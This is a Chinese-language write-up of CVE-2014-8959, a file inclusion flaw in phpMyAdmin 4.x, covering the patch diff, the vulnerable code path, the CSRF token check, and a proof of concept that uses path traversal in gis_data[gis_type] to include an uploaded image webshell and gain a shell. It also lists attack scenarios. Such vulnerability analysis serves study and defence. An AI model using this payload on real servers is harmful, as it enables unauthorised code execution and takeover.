首页 > 代码库 > phpmyadmin任意文件包含漏洞分析(含演示)
phpmyadmin任意文件包含漏洞分析(含演示)
0x01 漏洞描述
phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发。
最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下:
phpMyAdmin
4.0.1 – 4.0.10.6
4.1.1 – 4.1.14.7
4.2.1 – 4.2.12
0x02 补丁分析
看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料。
前几天phpmyadmin出了个新的补丁。
地址在此: http://www.phpmyadmin.net/home_page/security/PMASA-2014-14.php
修复了一个phpmyadmin4.x版本中的任意文件包含漏洞,我们看一下4.0版本的补丁:
… | … | @@ -1,37 +1,39 @@ |
1 | 1 | <?php |
2 | 2 | /* vim: set expandtab sw=4 ts=4 sts=4: */ |
3 | 3 | /** |
4 | 4 | * Contains the factory class that handles the creation of geometric objects |
5 | 5 | * |
6 | 6 | * @package PhpMyAdmin-GIS |
7 | 7 | */ |
8 | 8 | |
9 | 9 | if (! defined(‘PHPMYADMIN‘)) { |
10 | 10 | exit; |
11 | 11 | } |
12 | 12 | |
13 | 13 | /** |
14 | 14 | * Factory class that handles the creation of geometric objects. |
15 | 15 | * |
16 | 16 | * @package PhpMyAdmin-GIS |
17 | 17 | */ |
18 | 18 | class PMA_GIS_Factory |
19 | 19 | { |
20 | 20 | /** |
21 | 21 | * Returns the singleton instance of geometric class of the given type. |
22 | 22 | * |
23 | 23 | * @param string $type type of the geometric object |
24 | 24 | * |
25 | 25 | * @return object the singleton instance of geometric class of the given type |
26 | 26 | * @access public |
27 | 27 | * @static |
28 | 28 | */ |
29 | 29 | public static function factory($type) |
30 | 30 | { |
31 | 31 | include_once ‘./libraries/gis/pma_gis_geometry.php‘; |
32 | 32 | |
33 | 33 | $type_lower = strtolower($type); |
34 | - if (! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘)) { | |
34 | + if (! PMA_isValid($type_lower, PMA_Util::getGISDatatypes()) | |
35 | + || ! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘) | |
36 | + ) { | |
35 | 37 | return false; |
36 | 38 | } |
37 | 39 | if (include_once ‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘) { |
38 | 40 | switch(strtoupper($type)) { |
39 | 41 | case ‘MULTIPOLYGON‘ : |
40 | 42 | return PMA_GIS_Multipolygon::singleton(); |
41 | 43 | case ‘POLYGON‘ : |
42 | 44 | return PMA_GIS_Polygon::singleton(); |
43 | 45 | case ‘MULTIPOINT‘ : |
44 | 46 | return PMA_GIS_Multipoint::singleton(); |
45 | 47 | case ‘POINT‘ : |
46 | 48 | return PMA_GIS_Point::singleton(); |
47 | 49 | case ‘MULTILINESTRING‘ : |
48 | 50 | return PMA_GIS_Multilinestring::singleton(); |
49 | 51 | case ‘LINESTRING‘ : |
50 | 52 | return PMA_GIS_Linestring::singleton(); |
51 | 53 | case ‘GEOMETRYCOLLECTION‘ : |
52 | 54 | return PMA_GIS_Geometrycollection::singleton(); |
53 | 55 | default : |
54 | 56 | return false; |
55 | 57 | } |
56 | 58 | } else { |
57 | 59 | return false; |
58 | 60 | } |
59 | 61 | } |
60 | 62 | } |
61 | 63 | ?> |
在文件libraries/gis/pma_gis_factory.php中对$type_lower多加了个判断。由此我们可以猜测,文件包含的点就出在$type_lower这里。
0x03 漏洞代码分析
我们来到libraries/gis/pma_gis_factory.php 29行:
public static function factory($type) { include_once ‘./libraries/gis/pma_gis_geometry.php‘; $type_lower = strtolower($type); if (! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘)) { return false; } if (include_once ‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘) { switch(strtoupper($type)) { case ‘MULTIPOLYGON‘ : return PMA_GIS_Multipolygon::singleton(); case ‘POLYGON‘ : return PMA_GIS_Polygon::singleton(); case ‘MULTIPOINT‘ : return PMA_GIS_Multipoint::singleton(); case ‘POINT‘ : return PMA_GIS_Point::singleton(); case ‘MULTILINESTRING‘ : return PMA_GIS_Multilinestring::singleton(); case ‘LINESTRING‘ : return PMA_GIS_Linestring::singleton(); case ‘GEOMETRYCOLLECTION‘ : return PMA_GIS_Geometrycollection::singleton(); default : return false; } } else { return false; } }
public static function factory ( $ type ) { include _ once ‘./libraries/gis/pma_gis_geometry.php‘ ; $ type_lower = strtolower ( $ type ) ; if ( ! file_exists ( ‘./libraries/gis/pma_gis_‘ . $ type _ lower . ‘.php‘ ) ) { return false ; } if ( include _ once ‘./libraries/gis/pma_gis_‘ . $ type _ lower . ‘.php‘ ) { switch ( strtoupper ( $ type ) ) { case ‘MULTIPOLYGON‘ : return PMA_GIS_Multipolygon :: singleton ( ) ; case ‘POLYGON‘ : return PMA_GIS_Polygon :: singleton ( ) ; case ‘MULTIPOINT‘ : return PMA_GIS_Multipoint :: singleton ( ) ; case ‘POINT‘ : return PMA_GIS_Point :: singleton ( ) ; case ‘MULTILINESTRING‘ : return PMA_GIS_Multilinestring :: singleton ( ) ; case ‘LINESTRING‘ : return PMA_GIS_Linestring :: singleton ( ) ; case ‘GEOMETRYCOLLECTION‘ : return PMA_GIS_Geometrycollection :: singleton ( ) ; default : return false ; } } else { return false ; } } |
将传入的参数$type转换小写以后赋值给$type_lower,直接拼接成路径进行include_once。
我们来搜一下factory这个函数:
很多地方在调用,但最直接的还是/gis_data_editor.php,进来看看:
// Get data if any posted $gis_data = array(); if (PMA_isValid($_REQUEST[‘gis_data‘], ‘array‘)) { $gis_data = $_REQUEST[‘gis_data‘]; } $gis_types = array( ‘POINT‘, ‘MULTIPOINT‘, ‘LINESTRING‘, ‘MULTILINESTRING‘, ‘POLYGON‘, ‘MULTIPOLYGON‘, ‘GEOMETRYCOLLECTION‘ ); // Extract type from the initial call and make sure that it‘s a valid one. // Extract from field‘s values if availbale, if not use the column type passed. if (! isset($gis_data[‘gis_type‘])) { if (isset($_REQUEST[‘type‘]) && $_REQUEST[‘type‘] != ‘‘) { $gis_data[‘gis_type‘] = strtoupper($_REQUEST[‘type‘]); } if (isset($_REQUEST[‘value‘]) && trim($_REQUEST[‘value‘]) != ‘‘) { $start = (substr($_REQUEST[‘value‘], 0, 1) == "‘") ? 1 : 0; $gis_data[‘gis_type‘] = substr( $_REQUEST[‘value‘], $start, strpos($_REQUEST[‘value‘], "(") - $start ); } if ((! isset($gis_data[‘gis_type‘])) || (! in_array($gis_data[‘gis_type‘], $gis_types)) ) { $gis_data[‘gis_type‘] = $gis_types[0]; } } $geom_type = $gis_data[‘gis_type‘]; // Generate parameters from value passed. $gis_obj = PMA_GIS_Factory::factory($geom_type);
// Get data if any posted $ gis_data = array ( ) ; if ( PMA_isValid ( $ _REQUEST [ ‘gis_data‘ ] , ‘array‘ ) ) { $ gis_data = $ _REQUEST [ ‘gis_data‘ ] ; } $ gis_types = array ( ‘POINT‘ , ‘MULTIPOINT‘ , ‘LINESTRING‘ , ‘MULTILINESTRING‘ , ‘POLYGON‘ , ‘MULTIPOLYGON‘ , ‘GEOMETRYCOLLECTION‘ ) ; // Extract type from the initial call and make sure that it‘s a valid one. // Extract from field‘s values if availbale, if not use the column type passed. if ( ! isset ( $ gis_data [ ‘gis_type‘ ] ) ) { if ( isset ( $ _REQUEST [ ‘type‘ ] ) && $ _REQUEST [ ‘type‘ ] != ‘‘ ) { $ gis_data [ ‘gis_type‘ ] = strtoupper ( $ _REQUEST [ ‘type‘ ] ) ; } if ( isset ( $ _REQUEST [ ‘value‘ ] ) && trim ( $ _REQUEST [ ‘value‘ ] ) != ‘‘ ) { $ start = ( substr ( $ _REQUEST [ ‘value‘ ] , 0 , 1 ) == "‘" ) ? 1 : 0 ; $ gis_data [ ‘gis_type‘ ] = substr ( $ _REQUEST [ ‘value‘ ] , $ start , strpos ( $ _REQUEST [ ‘value‘ ] , "(" ) - $ start ) ; } if ( ( ! isset ( $ gis_data [ ‘gis_type‘ ] ) ) || ( ! in_array ( $ gis_data [ ‘gis_type‘ ] , $ gis_types ) ) ) { $ gis_data [ ‘gis_type‘ ] = $ gis_types [ 0 ] ; } } $ geom_type = $ gis_data [ ‘gis_type‘ ] ; // Generate parameters from value passed. $ gis_obj = PMA_GIS_Factory :: factory ( $ geom_type ) ; |
首先$gis_data = http://www.mamicode.com/$_REQUEST[‘gis_data’];获取到gis_data,判断$gis_data[‘gis_type’]是否已经存在,如果存在则跳过那 一大串if子句。最后就将$gis_data[‘gis_type’];赋值给$geom_type,并传入 PMA_GIS_Factory::factory函数。
实际这个利用方法很简单,简单到其实就是获取$_REQUEST[‘gis_data’][‘gis_type’]并拼接到include_once中,造成任意文件包含。
0x04 利用过程及POC
那我们来说说利用。这个漏洞为何没火,因为在我看来他需要两个条件:
1.登录到phpmyadmin
2.需要截断
相对比较鸡肋。但实际上这两个条件也不难满足,很多时候我们通过任意文件可能能够获得某些数据库的访问权限,我们通过这个漏洞就能成功提权。
首先我的测试环境为php 5.2.17 + phpmyadmin 4.0.3 (想想我为什么选这样的环境)
创建一个普通用户test,没有任何权限,登录后只能看到test和information_schema表:
构造好URL直接访问(pma的上层目录放着一个包含phpinfo()的图片马u1.gif):
居然一片空白,没有出现我想要的phpinfo!?
这又涉及到phpmyadmin的一个防御CSRF机制了,来到libraries/common.inc.php 463行:
$token_mismatch = true; if (PMA_isValid($_REQUEST[‘token‘])) { $token_mismatch = ($_SESSION[‘ PMA_token ‘] != $_REQUEST[‘token‘]); } if ($token_mismatch) { /** * List of parameters which are allowed from unsafe source */ $allow_list = array( /* needed for direct access, see FAQ 1.34 * also, server needed for cookie login screen (multi-server) */ ‘server‘, ‘db‘, ‘table‘, ‘target‘, ‘lang‘, /* Session ID */ ‘phpMyAdmin‘, /* Cookie preferences */ ‘pma_lang‘, ‘pma_collation_connection‘, /* Possible login form */ ‘pma_servername‘, ‘pma_username‘, ‘pma_password‘, /* Needed to send the correct reply */ ‘ajax_request‘, /* Permit to log out even if there is a token mismatch */ ‘old_usr‘ ); /** * Allow changing themes in test/theme.php */ if (defined(‘PMA_TEST_THEME‘)) { $allow_list[] = ‘set_theme‘; } /** * Require cleanup functions */ include ‘./libraries/cleanup.lib.php‘; /** * Do actual cleanup */ PMA_remove_request_vars($allow_list); }
$ token_mismatch = true ;
if ( PMA_isValid ( $ _REQUEST [ ‘token‘ ] ) ) {
$ token_mismatch = ( $ _SESSION [ ‘ PMA_token ‘ ] != $ _REQUEST [ ‘token‘ ] ) ;
}
if ( $ token_mismatch ) {
/**
* List of parameters which are allowed from unsafe source
*/
$ allow_list = array (
/* needed for direct access, see FAQ 1.34
* also, server needed for cookie login screen (multi-server)
*/
‘server‘ , ‘db‘ , ‘table‘ , ‘target‘ , ‘lang‘ ,
/* Session ID */
‘phpMyAdmin‘ ,
/* Cookie preferences */
‘pma_lang‘ , ‘pma_collation_connection‘ ,
/* Possible login form */
‘pma_servername‘ , ‘pma_username‘ , ‘pma_password‘ ,
/* Needed to send the correct reply */
‘ajax_request‘ ,
/* Permit to log out even if there is a token mismatch */
‘old_usr‘
) ;
/**
* Allow changing themes in test/theme.php
*/
if ( defined ( ‘PMA_TEST_THEME‘ ) ) {
$ allow_list [ ] = ‘set_theme‘ ;
}
/**
* Require cleanup functions
*/
include ‘./libraries/cleanup.lib.php‘ ;
/**
* Do actual cleanup
*/
PMA_remove_request_vars ( $ allow_list ) ;
}
他检查了$_SESSION[‘ PMA_token ‘] 是否等于 $_REQUEST[‘token’],如果不等于,最后会进入PMA_remove_request_vars函数,进去看看:
function PMA_remove_request_vars(&$whitelist) { // do not check only $_REQUEST because it could have been overwritten // and use type casting because the variables could have become // strings $keys = array_keys( array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE) ); foreach ($keys as $key) { if (! in_array($key, $whitelist)) { unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]); } else { // allowed stuff could be compromised so escape it // we require it to be a string if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) { unset($_REQUEST[$key]); } if (isset($_POST[$key]) && ! is_string($_POST[$key])) { unset($_POST[$key]); } if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) { unset($_COOKIE[$key]); } if (isset($_GET[$key]) && ! is_string($_GET[$key])) { unset($_GET[$key]); } } } }
function PMA_remove_request_vars ( & $ whitelist )
{
// do not check only $_REQUEST because it could have been overwritten
// and use type casting because the variables could have become
// strings
$ keys = array_keys (
array_merge ( ( array ) $ _REQUEST , ( array ) $ _GET , ( array ) $ _POST , ( array )$ _COOKIE )
) ;
foreach ( $ keys as $ key ) {
if ( ! in_array ( $ key , $ whitelist ) ) {
unset ( $ _REQUEST [ $ key ] , $ _GET [ $ key ] , $ _POST [ $ key ] , $ GLOBALS [ $key ] ) ;
} else {
// allowed stuff could be compromised so escape it
// we require it to be a string
if ( isset ( $ _REQUEST [ $ key ] ) && ! is_string ( $ _REQUEST [ $ key ] ) ) {
unset ( $ _REQUEST [ $ key ] ) ;
}
if ( isset ( $ _POST [ $ key ] ) && ! is_string ( $ _POST [ $ key ] ) ) {
unset ( $ _POST [ $ key ] ) ;
}
if ( isset ( $ _COOKIE [ $ key ] ) && ! is_string ( $ _COOKIE [ $ key ] ) ) {
unset ( $ _COOKIE [ $ key ] ) ;
}
if ( isset ( $ _GET [ $ key ] ) && ! is_string ( $ _GET [ $ key ] ) ) {
unset ( $ _GET [ $ key ] ) ;
}
}
}
}
实际上将所有GPCR都清空了,那么后面的操作肯定不能正常运转了。
所以,我们必须带上token访问。那又有同学要问了,token保存在session里,我又看不到session。
其实用phpmyadmin多的同学就应该注意到,一般我们访问pma的时候都会在url里看到token=xxx这个参数,我们只需要在正常访问的时候将这个token拷贝下来就可以了:
带上token访问即可getshell:
最终POC:
Token=xxx,xxx是你的token,gis_data[gis_type]=yyy,yyy是你要包含的文件。最终拼接到include_once后面的参数是
./libraries/gis/pma_gis_/../../../../u1.gif
. / libraries / gis / pma_gis_ / . . / . . / . . / . . / u1 . gif |
0x05 利用环境与鸡肋性
想想利用环境吧?
1.虚拟主机:大多虚拟主机面板都会提供给用户一个普通数据库账号和phpmyadmin,利用该账号登录,再通过包含进行getshell,获得面板权限。
2.文件读取/备份下载:读取到某些配置文件,获得了一个数据库账号,通过phpmyadmin进行getshell。
3.暴力破解:爆破出某些数据库用户,进入phpmyadmin拿shell。
当然利用环境还可能有很多,另外我们还可能会遇到“包含哪个文件”的问题,这个就只能靠大家见仁见智咯~
附:测试所使用的phpmyadmin 4.0.3: http://pan.baidu.com/s/1qWymmBE
0x05 修复建议
更新官方最新版本:http://sourceforge.net/projects/phpmyadmin/
phpmyadmin任意文件包含漏洞分析(含演示)